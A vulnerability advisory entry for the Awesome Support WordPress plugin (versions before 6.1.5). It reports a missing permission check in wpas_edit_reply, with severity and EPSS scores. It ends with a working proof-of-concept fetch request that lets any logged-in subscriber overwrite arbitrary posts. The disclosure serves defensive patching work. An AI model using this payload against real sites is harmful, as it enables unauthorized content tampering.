Awesome Support < 6.1.5 - Insufficient permission check in wpas_edit_reply

2023-10-1600:00:00

Krzysztof Zając (CERT PL)

insufficient permission check

subscriber role

admin-ajax.php

6.6 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

14.2%

JSON

Description The plugin does not correctly authorize the wpas_edit_reply function, allowing users to edit posts for which they do not have permission.

Log in as a subscriber and run the following code in the browser, setting the reply_id to any post ID.

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "wpas_edit_reply", "reply_id": "1", "reply_content": "hello"}),
  "method": "POST",
  "credentials": "include"
});